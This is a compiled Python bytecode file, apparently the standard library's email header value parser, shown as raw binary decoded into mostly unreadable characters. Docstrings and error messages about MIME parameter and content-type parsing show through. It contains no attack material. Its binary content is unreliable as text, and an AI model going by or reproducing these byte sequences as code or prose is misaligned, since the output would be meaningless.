1Ò $Ù˜{¨1™~°Ò4Ø!‘ ä*¨;Ó7‘ ��tÙ˜D ™G sšNØ!%‘Jð &Ü3°KÓ@‘ ��tñØ!%‘JÙ Ø �M‰M× Ñ ¤×!;Ñ!;ØGó"Iô Jà �L‰L˜Ô !Û�Ø—<‘<Ð#7Ó7Ø�A‘a�DØ �HÙð ð  ‰EàˆIØ �M‰M× Ñ ¤×!;Ñ!;ð:ó";ô <ñ ��q‘˜S’Ø‰ä  Ó'‰ ˆˆuØ �>Š>˜U×1Ñ1°AÒ5Ù˜˜a™ CšØ �O‰O˜EÔ "ØÐ$à!�ؘ%�<Ð Ø � ‰ ×ÑœV×7Ñ7ð DóEô Fñ à � ‰ ×ÑœV×7Ñ7Ø 6ó8ô 9à�‰˜ÔØ Ñ Ø˜%�<Ð à Ð Û�Ø—<‘<Ð#6Ó6Ùðð �L‰L˜JÒ &Ø �O‰O˜AÔ ØŸG™GˆEŒMØ �‰8�sŠ?Ü×)Ñ)ð+FßFLÁfÈUÃmóUð Uà�‰œ  cÐ+>Ó?Ô@Ø�a�b� ˆÙ �U˜1‘X ’_Ü'¨Ó.‰LˆE�5Ø �O‰O˜EÔ "ØŸ™ˆEŒJÙ˜E !™H¨šOÜ×-Ñ-ð/<ßÓ?Ô@Ø�a�b� ˆØÐä ‹GˆÙØ�Q‰xœ3‰Ü& u›~‘ �‘uØ�q‘˜S’Ü% c¨8Ó4�ؘa˜b˜ ‘ä+¨EÓ2‘ ��uØ �H‰H�UŒOòð‰ä  Ó'‰ ˆˆuØ ‡O�O�EÔØÐàˆØ �%ˆ<Ðøôi×&Ñ&ò Ú ð ûðD ÚúsÁ>&S%ÇS?Ó%S<Ó;S<Ó?Tcó€—t«}|r· t|«\}}|j|«|rp|ddk7rh|d}d|_ t|«\}}|j|«|jjtjdj|«««|r |jtdd ««|d d}|rŒ·|S#tj$räd}|dt vrt |«\}}|s|j|«|cYS|ddk(rB|�|j|«|jjtjd««ndt|«\}}|r|g|dd|j|«|jjtjdj|«««Y�Œ�wxYw) a! parameter *( ";" parameter ) That BNF is meant to indicate this routine should only be called after finding and handling the leading ';'. There is no corresponding rule in the formal RFC grammar, but it is more convenient for us for the set of parameters to be treated as its own TokenList. This is 'parse' routine because it consumes the remaining value, but it would never be called to parse a full header. Instead it is called to parse everything after the non-parameter value of a specific MIME header. NrrPzparameter entry with no contentzinvalid parameter {!r}rîr]z)parameter with invalid trailing text {!r}r’rê)rlršržrrárrr'rurpr=rdrQr½)rÚmime_parametersrSrr…s rÚparse_mime_parametersr� s¿€ô%Ó&€OÙ ð =Ü(¨Ó/‰LˆE�5Ø × "Ñ " 5Ô )ñ( �U˜1‘X ’_ð$ BÑ'ˆEØ2ˆEÔ Ü0°Ó7‰LˆE�5Ø �L‰L˜Ô Ø × #Ñ #× *Ñ *¬6×+EÑ+EØ;×BÑBÀ5ÓIó,Kô Lá à × "Ñ "¤=°Ð6KÓ#LÔ Mؘ!˜"�IˆEòG ðH ÐøôA×&Ñ&ò =؈FØ�Q‰xœ;Ñ&Ü (¨£‘ �˜ÙØ×&Ñ& vÔ.Ø&Ò&Ø�Q‰x˜3ŠØÐ%Ø#×*Ñ*¨6Ô2Ø×'Ñ'×.Ñ.¬v×/IÑ/IØ5ó07õ8ô 5°UÓ;‘ ��uÙØ!' �E˜"˜1�IØ×&Ñ& uÔ-Ø×'Ñ'×.Ñ.¬v×/IÑ/IØ,×3Ñ3°EÓ:ó0<ô=úð# =úsŽCÃAF=Ä B.F=Æ<F=có@—|ra|ddk7rY|dtvr$|jt|dd««|dd}nt|«\}}|j|«|r |ddk7rŒY|sy|jtdd««|jt |dd««y)zBDo our best to find the parameters in an invalid MIME header rrPr&rêNr’)rržr½rr�)Ú tokenlistrrSs rÚ_find_mime_parametersr Q s¥€ñ �E˜!‘H ’OØ �‰8”{Ñ "Ø × Ñ œ]¨5°©8Ð5HÓIÔ Jؘ!˜"�I‰Eä% eÓ,‰LˆE�5Ø × Ñ ˜UÔ #ñ �E˜!‘H “Oñ ØØ ×Ñ”] 3Ð(=Ó>Ô?Ø ×ÑÔ*¨5°°¨9Ó5Õ6rcó8—t«}|s0|jjtjd««|S t |«\}}|j|«|r|ddk7r>|jjtjd««|r t||«|S|jj«j«|_ |jtdd««|dd} t |«\}}|j|«|jj«j«|_|s|S|dd k7rO|jjtjd j|«««|` |`t||«|S|jtd d ««|jt!|dd««|S#tj $rN|jjtjdj|«««t||«|cYSwxYw#tj $rN|jjtjd j|«««t||«|cYSwxYw) zÅ maintype "/" subtype *( ";" parameter ) The maintype and substype are tokens. Theoretically they could be checked against the official IANA list + x-token, but we don't do that. z"Missing content type specificationz(Expected content maintype but found {!r}rr¬zInvalid content typezcontent-type-separatorrêNz'Expected content subtype but found {!r}rPzÑ>Ø 0ó2ô 3àˆ ðÜ  Ó'‰ ˆˆuð  ‡L�L�Ôñ �E˜!‘H ’OØ � ‰ ×ÑœV×7Ñ7Ø "ó$ô %á Ü ! %¨Ô /؈ Ø—[‘[×&Ñ&Ó(×.Ñ.Ó0€E„NØ ‡L�L”˜sÐ$<Ó=Ô>Ø �!�"ˆI€EðÜ  Ó'‰ ˆˆuð  ‡L�L�ÔØ—K‘K×%Ñ%Ó'×-Ñ-Ó/€E„M٠؈ Ø ˆQ�x�3‚Ø � ‰ ×ÑœV×7Ñ7ð ß™ ›ó(ô )ð ˆN˜E˜Mܘe UÔ+؈ Ø ‡L�L”˜sÐ$9Ó:Ô;Ø ‡L�LÔ& u¨Q¨R yÓ1Ô2Ø €LøôQ × "Ñ "òØ � ‰ ×ÑœV×7Ñ7Ø 6× =Ñ =¸eÓ DóFô Gä˜e UÔ+ØŠ ð ûô& × "Ñ "òØ � ‰ ×ÑœV×7Ñ7Ø 5× <Ñ <¸UÓ CóEô Fä˜e UÔ+ØŠ ð ús%¾GÃ3H8ÇAH5È4H5È8AJÊJcóþ—t«}|s0|jjtjd««|S t |«\}}|j|«|jj«j«|_ |s|S|ddk7rK|jjtjdj|«««t||«|S|jtdd««|jt|dd««|S#tj $rN|jjtjdj|«««t||«|cYSwxYw) z* disposition-type *( ";" parameter ) zMissing content dispositionz+Expected content disposition but found {!r}rrPzCOnly parameters are valid after content disposition, but found {!r}r’rêN)r“r'ržrriryrárur=r rrrr¢r”r½r�)rÚ disp_headerrSs rÚ parse_content_disposition_headerr§™ s]€ô%Ó&€KÙ Ø×Ñ×"Ñ"¤6×#DÑ#DØ )ó$+ô ,àÐðÜ  Ó'‰ ˆˆuð ×Ñ�uÔØ&+§k¡k×&7Ñ&7Ó&9×&?Ñ&?Ó&A€KÔ#Ù ØÐØ ˆQ�x�3‚Ø×Ñ×"Ñ"¤6×#=Ñ#=ð ß™ ›ó$(ô )ô ˜k¨5Ô1ØÐØ×Ñ”} SÐ*?Ó@ÔAØ×ÑÔ,¨U°1°2¨YÓ7Ô8Ø Ðøô# × "Ñ "òØ×Ñ×"Ñ"¤6×#=Ñ#=Ø 9× @Ñ @ÀÓ Gó$Iô Jä˜k¨5Ô1ØÒð ús¾DÄAE<Å;E<cóΗt«}|s0|jjtjd««|S t |«\}}|j|«|j j«j«|_ |s|S|r|jjtjd««|dtvr$|jt|dd««|dd}nt|«\}}|j|«|rŒ|S#tj$r@|jjtjdj|«««YŒÙwxYw)z mechanism z!Missing content transfer encodingz1Expected content transfer encoding but found {!r}z*Extra text after content transfer encodingrr&rêN)r–r'ržrriryrrrr¢r“rárur=rr½r)rÚ cte_headerrSs rÚ&parse_content_transfer_encoding_headerrª· sM€ô )Ó*€JÙ Ø×Ñ×!Ñ!¤&×"CÑ"CØ /ó#1ô 2àÐð5Ü  Ó'‰ ˆˆuð ×ј%Ô ØŸ™×*Ñ*Ó,×2Ñ2Ó4ˆ ŒÙ ØÐÙ Ø×Ñ×!Ñ!¤&×"<Ñ"<Ø 8ó#:ô ;à �‰8”{Ñ "Ø × Ñ œm¨E°!©HÐ6IÓJÔ Kؘ!˜"�I‰Eä% eÓ,‰LˆE�5Ø × Ñ ˜eÔ $ò ð Ðøô# × "Ñ "òPØ×Ñ×!Ñ!¤&×"<Ñ"<Ø ?× FÑ FÀuÓ Mó#Oö PðPús¾DÄAE$Å#E$cóZ—d}|r&|dr!|ddtvr|dd}|ddd|d<|S)Nr-rîr¹)ÚlinesÚwsps rÚ_steal_trailing_WSP_if_existsr®æ sD€Ø €CÙ ��r’˜u R™y¨™}´Ñ3Ø�B‰i˜‰mˆØ˜"‘I˜c˜r�Nˆˆb‰ Ø €Jrc óÌ—|jxstj}|jrdnd}dg}d}d}d}d}d} t dd«} t |«} | �r«| j d«} | | ur|dz}Œt| «} | s;| jd vrtj| « } ntj| « } | j|«|}| jd k(rt!| |||«Œ˜| �r|�s| j"s�d} d}| j$r| j'|¬«dt)|j*« }|j*|vrHt)|«|t)|d«z kDrt-|«}|j/|«|dxx|z cc<�Œ9t1| d«st | «| z} d} �ŒW| j"r;|�||k7r|d k(s |dk(r|dk7rd}t3| |||| j4||«}d}|}d} �Œžd}d} t)| «|t)|d«z kr|dxx| z cc<�ŒÎd}| j$r~t)| «dz|krmt-|«}|s| j7«rP|j/|| z«g}|dD]}|t8vrn|j/|«Œdj;|«}d}�ŒZt1| d«sát | «}| jdk(r?t=dd«g|D�cgc]}t=t?|«d«‘Œc}zt=dd«gz}| jdk(rPt=dd«g|D�cgc](}|jdk(rt=tA|«d«n|‘Œ*c}zt=dd«gz}| j"s|dz }|j/| «|| z} �ŒG| j"r|s| jCd| «d } �Œkt-|«}|s| j7«r|j/|| z«n |dxx| z cc<| r�Œ«|j*j;|«|j*zS#t$r'td „| jD««rd }nd}d } Y�Œ‹wxYwcc}wcc}w)zLReturn string of contents of parse_tree folded according to RFC rules. úutf-8rSr-NrFÚwrap_as_ew_blockedrê)rJrëc3óPK—|]}t|tj«–—Œ y­wr$)r8rr}r0s rr3z%_refold_parse_tree.. s%èø€ð.Ù,�qô˜a¤×!>Ñ!>×?Ù,ùrIú unknown-8bitTrmrUrîr!r›rrJrwrr)"Úmax_line_lengthÚsysÚmaxsizeÚutf8r¦r®r7rrdÚ SPECIALSNLÚ isdisjointÚNLSETr!r{rJrEÚ_fold_mime_parametersrMrjrYrër�r®ržreÚ _fold_as_ewrkrJrºr7r½rrÚinsert)Ú parse_treerVÚmaxlenrqr¬Úleading_whitespaceÚlast_ewÚ last_charsetr±Ú want_encodingÚend_ew_not_allowedr�rNÚtstrr”Ú encoded_partÚnewlineÚwhitespace_accumulatorÚcharÚnewpartsÚps rrWrWí sÑ€ð × #Ñ #Ò 2¤s§{¡{€FØ Ÿ+š+‰w¨:€HØ ˆD€EØÐð€Gà€LØÐØ€MÜ! "Ð&:Ó;ÐÜ �Ó €EÚ Ø�y‰y˜‹|ˆØ Ð%Ñ %Ø  !Ñ #Ð Ø Ü�4‹yˆÙØ�‰Ð"4Ñ4ä$.×$9Ñ$9¸$Ó$?Ð ?‘ ô%*×$4Ñ$4°TÓ$:Ð :� ð !Ø �K‰K˜Ô !؈Gð �?‰?Ð/Ò /ä ! $¨¨v°xÔ @Ø â Ò!3Ø×%Ò%Ø %� Ø�Ø×'Ò'Ø#'§9¡9°F 9Ó#;ÐQÐ=QÐ#R�LØ—~‘~¨\Ñ9ä˜|Ó,¨v¼¸EÀ"¹I»Ñ/FÒFä&CÀEÓ&J˜Gà!ŸL™L¨Ô1ؘb›  \Ñ1› Ù ô ˜4 Ô*ä˜T›  UÑ*�Ø %� ÙØ×#Ò#ðÐ'ؘ|Ò+Ø! ^Ò3Ø! WÒ,°¸JÒ1FØ"�GÜ% d¨E°6¸7Ø&*×&=Ñ&=¸wÐHZó\�ð&(Ð"Ø&� Ø %� Ùð�Ø %� ô ˆt‹9˜¤ U¨2¡Y£Ñ/Ò /Ø �"‹I˜Ñ ‹IÙ ð  ÐØ × Ò Ü�D“ ˜A‘  Ò'Ü3°EÓ:ˆGÙ˜$×-Ñ-Ô/ð — ‘ ˜W t™^Ô,à)+Ð&Ø! "œI�Dؤ3‘ÙØ*×1Ñ1°$Õ7ð&ð&(§W¡WÐ-CÓ%DÐ"Ø�ÙÜ�t˜XÔ&ä˜D“zˆHØ�‰Ð"6Ò6ô # 3¨Ó0Ð1á&ó(Ù&˜ô#Ô#4°QÓ#7¸ÕAØ&ñ(ñ(ô# 3¨Ó0Ð1ñ2ðð �‰ )Ò+ä" 3¨Ó0Ð1ñ'ó(á&˜ðŸ ™ ¨Ò/ô#Ô#9¸!Ó#<¸gÔFØ56ñ7à&ñ(ñ(ô# 3¨Ó0Ð1ñ 2ðð ×%Ò%Ø" aÑ'Ð"Ø—‘Ð 2Ô3ؘuÑ$ˆEÙ Ø × Ò Ñ&8ð �L‰L˜˜DÔ !Ø ˆMÙ ä/°Ó6ˆÙ �d×)Ñ)Ô+Ø �L‰L˜ 4™Õ (ð �"‹I˜Ñ ‹IóY ð\ �>‰>× Ñ ˜uÓ %¨¯©Ñ 6Ð6øô}"ò !Üñ.Ø ×,Ò,ó.ô.à(‘ð"�Ø ‹Mð !üòB(ùò (sÂ:P)Ë#QÌ1-Q!Ð),QÑQcó—|�+|r)tt|d|d|z««}|dd||d<nM|dtvrB|d}|dd}t|d«|k(r|j t |««|dxx|z cc<d}|dtvr |d}|dd}|€t|d«n|} |dk(rdn|} t| «dz} | dz|k\rt jd «‚|�r!|t|d«z } | | z t|«z } | dkr|j d «ŒØ ˆb‹ �[Ñ ‹ à€LØ��}œÑà  ‘}ˆ ؘc˜r�Nˆ Ø$+ O”#�e˜B‘i”.¸€Kà" jÒ0‘°g€Iô�Y“ !Ñ#€Jà�Q‰˜6Ò!Ü×%Ñ%Ø AóCð Cò Ø ¤3 u¨R¡y£>Ñ1ˆØ$ zÑ1´CÐ8JÓ4KÑKˆ Ø ˜Š?Ø �L‰L˜Ô Ø ô ˆu‹:˜Š>œc %¨¡)›n°Ò1Ñ6HÜŸ:™:Ð&8À)ÔLˆLØ �"‹I˜Ñ %‹IØ!#Ð à" ; JÐ/ˆÜ—z‘z .¸)ÔDˆ Ü�\Ó" _Ñ4ˆØ�qŠjð,¨C¨RÐ0ˆNÜŸ:™: n¸iÔHˆLܘÓ&¨Ñ8ˆFð �q‹jð ˆb‹ �\Ñ!‹ Øœc .Ó1Ð2Ð3ˆ ØÐá Ø �L‰L˜Ô ܘe B™i›.ˆKó? ð@ ˆ"ƒI�уIÙ,ˆ;Ð6°$Ð6rc ó—|jD�]Á\}}|dj«jd«s |dxxdz cc<|}d} |j|«d}|r6tjj|d |¬ «} d j||| «} nd j|t|««} t|d«t| «zd z|kr|ddz| z|d<ŒÐt| «dz|kr|jd| z«Œöd} |dz} |s�Œt|«tt| ««zdzt| «z} || dzkrd}|| z dz x}} |d|}tjj|d |¬ «} t| «|krn|d z}Œ<|jdj|| | | ««d } | d z } ||d}|r |dxxdz cc<|rŒÁ�ŒÄy#t$r"d}t j |«rd}d}nd}Y�Œ¢wxYw)a>Fold TokenList 'part' into the 'lines' list as mime parameters. Using the decoded list of parameters and values, format them according to the RFC rules, including using RFC2231 encoding if the value cannot be expressed in 'encoding' and/or the parameter+value is too long to fit within 'maxlen'. rîrPÚstrictFTr³rpr°r-)Úsaferz {}*={}''{}r‡rêrsrârz''r(éNNz {}*{}*={}{})rr*rcr!r{rr|rvrwr®r=r rëržr)rNr¬r¿rqr€rr”Ú error_handlerÚencoding_requiredÚ encoded_valuerÅrgÚ extra_chromerÓÚ splitpointÚmaxcharsÚpartials rr»r»Û sA€ð—{•{‰ ˆˆeð �R‰y×ÑÓ!×*Ñ*¨3Ô/Ø �"‹I˜Ñ ‹IØˆØ ˆ ð "Ø �L‰L˜Ô "Ø %Ð ñ Ü"ŸL™L×.Ñ.ؘB }ð/ó6ˆMà×&Ñ& t¨W°mÓD‰Dà—>‘> $¬ °UÓ(;Ó<ˆDÜ ˆu�R‰y‹>œC ›IÑ %¨Ñ )¨FÒ 2ؘb™  C™¨$Ñ.ˆE�"‰IØ Ü �‹Y˜‰]˜fÒ $Ø �L‰L˜˜t™Ô $Ø ðˆØ ‘~ˆ ÛܘT›¤S¬¨W«Ó%6Ñ6¸Ñ:¼SÀÓ=NÑNˆJؘ a™Ò'ð �Ø$*¨ZÑ$7¸!Ñ$;Ð ;ˆJ˜ØØ   Ð,�Ü &§ ¡ × 2Ñ 2Ø "¨]ð!3ó!<� ä�}Ó%¨Ò1ØØ˜a‘� ð ð �L‰L˜×.Ñ.Ø�g˜|¨]ó<ô =àˆLØ �q‰LˆGؘ*˜+Ð&ˆEÙØ�b“ ˜SÑ “ ô-ñI#øô"ò "Ø $Ð Ü×$Ñ$ UÔ+Ø(�Ø 1‘ à!�úð  "úsÁGÇ'G>Ç=G>)rë)¤rÆÚrerµrvÚstringrÚoperatorrÚemailrrãrrr.rºrrr r/rÚ TSPECIALSrwÚ ASPECIALSrr‡rºr¸rrr ÚcompileÚVERBOSEÚ MULTILINErðr®r"rpr|r€r„rˆr‹rŽr‘r—r¥r¬r´rÈrÓrÙrßrærûrr rrrr r#r%r3r5r=rGrMrQr\r_rfrirlr‰r�r“r–r™r›rŸr¡r£rr¦r¶r½rÁrárÅrAr9rMrjr:r=r7rrÏrÕÚmatchrþÚfindallrÉrsr{r„rÍrØrÜrìrõrùrûrrrrr rrrrrr$r r)r.r1r3r6r<rArCrFrKrNrRrUrWrYr\r_rbrfrmrprtryr}r�r…rˆrŒr�ršr�r r¤r§rªr®rWr¼r»rtrrÚrïs:ðñCóJ Û Û ÝÝÝ'ÝÝñ  ˆ%ƒj€Ø‘C˜“H‰n€ Ù ÐÓ €Ø �s‰N€ Ø™C ›HÑ$€ à™˜U›Ñ#€ Ø ™˜E› Ñ "¡c¨#£hÑ .€ Ø ˜‰_€ Ø ™˜E› Ñ "€ ؘS‘€Ø(©3¨s«8Ñ3ÐØ ˆtˆ €Ø ˜Ñ € ò@ò 1ò ð �"—*‘*ðð‡Z�Z�"—,‘,Ñó €ô@,�ô@,ôFD˜)ôDô ˜Iô ôˆYôôˆ9ôôÐ"ôôˆ9ôôˆIôô �)ôô#�9ô#ô6 -�|ô -ôÐ!ôô4C�)ôCô&%ˆiô%ô2 ?�)ô ?ô%� ô%ô"$ˆIô$ô*"ˆyô"ô6� ôôDDˆyôDô!ˆiô!ô6;�Yô;ô.ˆYô.ôˆiôô�)ôô �Iôô ˆyôôB�9ôô -!�&ô-!ô`!� ô!ôH �Iô ô �)ôô� ôô8%�yô%ô #� ô#ôˆiôô ˆIô ôS.�YôS.ôl ˜yô ôÐ*ôôÐ1ôô ˜iôô �)ôô *ˆIô*ô�ôô&�yô&ôˆYôô(+ˆsô(+ôV'˜ô'ô�HôôÐ-ôô<�f×-Ñ-ô<ñ�C˜Ó€Ù˜cÐ#3Ó4€ Ø#€ ÔØ %€ ÔÙ$ SÐ*BÓCÐð.�— ‘ ˜:×,Ñ,¨R¯W©W°S«\Ó:Ó;×AÑA€ Ø"˜Ÿ ™  9×#3Ñ#3Ø €B‡I�Iˆb�g‰g�iÓ Ó!ó$#ó$ß$)¡Eðà"˜Ÿ ™ Ð#5Ó6×>Ñ>ÐØ#˜Ÿ™ I×$4Ñ$4Ø €B‡I�Iˆb�g‰g�jÓ!Ó"ó%$ó%ß%*¡Uðà'˜RŸZ™Z¨ ×(8Ñ(8Ø €B‡I�Iˆb�g‰g�nÓ%Ó&ó)(ó)ß).©ðà&0 b§j¡j°×1AÑ1AØ €B‡I�Iˆb�g‰gÐ-Ó.Ó/ó21ó'2ß27±%ð$ò;òJò< ó/òbAòFò" òò ))òVò2 ò ò$ò6 ò&ò2 òD$òL%òN2!òhò(ò%!òN$òLò ) òV,ò\ ò"òHò*"ò$6òr#òJò<ò:4òn&ò,BòJò8BòH$ò$ò&ò.ò&ò.ò$ò,ò<ò,KòZ2òh7ò 6òpò<ò^ò`7òDJ7óXI!r